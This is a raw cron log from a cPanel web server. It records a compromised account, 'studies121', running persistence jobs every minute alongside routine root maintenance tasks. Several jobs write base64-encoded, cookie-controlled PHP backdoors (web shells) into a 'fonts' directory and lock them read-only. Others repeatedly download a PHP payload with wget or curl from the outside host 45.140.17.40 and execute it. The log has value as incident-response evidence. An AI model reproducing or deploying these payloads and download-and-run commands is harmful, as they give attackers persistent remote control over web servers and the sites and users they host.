Sep 10 15:27:01 ip-184-168-122-23 CROND[30866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:27:01 ip-184-168-122-23 CROND[30865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:27:01 ip-184-168-122-23 CROND[30867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:28:01 ip-184-168-122-23 CROND[30974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:28:01 ip-184-168-122-23 CROND[30978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:28:01 ip-184-168-122-23 CROND[30977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:28:01 ip-184-168-122-23 CROND[30979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:28:01 ip-184-168-122-23 CROND[30976]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:29:01 ip-184-168-122-23 CROND[31181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:29:01 ip-184-168-122-23 CROND[31183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:29:01 ip-184-168-122-23 CROND[31185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:29:01 ip-184-168-122-23 CROND[31184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:30:02 ip-184-168-122-23 CROND[31304]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 15:30:02 ip-184-168-122-23 CROND[31306]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:30:02 ip-184-168-122-23 CROND[31311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:30:02 ip-184-168-122-23 CROND[31312]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:30:02 ip-184-168-122-23 CROND[31314]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:30:02 ip-184-168-122-23 CROND[31315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:30:02 ip-184-168-122-23 CROND[31313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:30:02 ip-184-168-122-23 CROND[31316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:31:01 ip-184-168-122-23 CROND[31409]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:31:01 ip-184-168-122-23 CROND[31411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:31:01 ip-184-168-122-23 CROND[31412]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 15:31:01 ip-184-168-122-23 CROND[31413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:31:01 ip-184-168-122-23 CROND[31414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:32:01 ip-184-168-122-23 CROND[31507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:32:01 ip-184-168-122-23 CROND[31509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:32:01 ip-184-168-122-23 CROND[31512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:32:01 ip-184-168-122-23 CROND[31513]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:32:01 ip-184-168-122-23 CROND[31511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:33:01 ip-184-168-122-23 CROND[31607]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:33:01 ip-184-168-122-23 CROND[31610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:33:01 ip-184-168-122-23 CROND[31611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:33:01 ip-184-168-122-23 CROND[31609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:34:01 ip-184-168-122-23 CROND[31802]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:34:01 ip-184-168-122-23 CROND[31804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:34:01 ip-184-168-122-23 CROND[31806]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:34:01 ip-184-168-122-23 CROND[31805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:34:01 ip-184-168-122-23 CROND[31807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:35:01 ip-184-168-122-23 CROND[31928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:35:01 ip-184-168-122-23 CROND[31932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:35:01 ip-184-168-122-23 CROND[31935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:35:01 ip-184-168-122-23 CROND[31934]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 15:35:01 ip-184-168-122-23 CROND[31933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:35:01 ip-184-168-122-23 CROND[31931]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:35:01 ip-184-168-122-23 CROND[31936]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 15:35:01 ip-184-168-122-23 CROND[31937]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:36:01 ip-184-168-122-23 CROND[32043]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:36:01 ip-184-168-122-23 CROND[32045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:36:01 ip-184-168-122-23 CROND[32047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:36:01 ip-184-168-122-23 CROND[32046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:36:01 ip-184-168-122-23 CROND[32044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:37:01 ip-184-168-122-23 CROND[32193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:37:01 ip-184-168-122-23 CROND[32194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:37:01 ip-184-168-122-23 CROND[32197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:37:01 ip-184-168-122-23 CROND[32198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:38:01 ip-184-168-122-23 CROND[32296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:38:01 ip-184-168-122-23 CROND[32298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:38:01 ip-184-168-122-23 CROND[32299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:38:01 ip-184-168-122-23 CROND[32300]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:38:01 ip-184-168-122-23 CROND[32302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:39:01 ip-184-168-122-23 CROND[32497]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 15:39:01 ip-184-168-122-23 CROND[32499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:39:01 ip-184-168-122-23 CROND[32500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
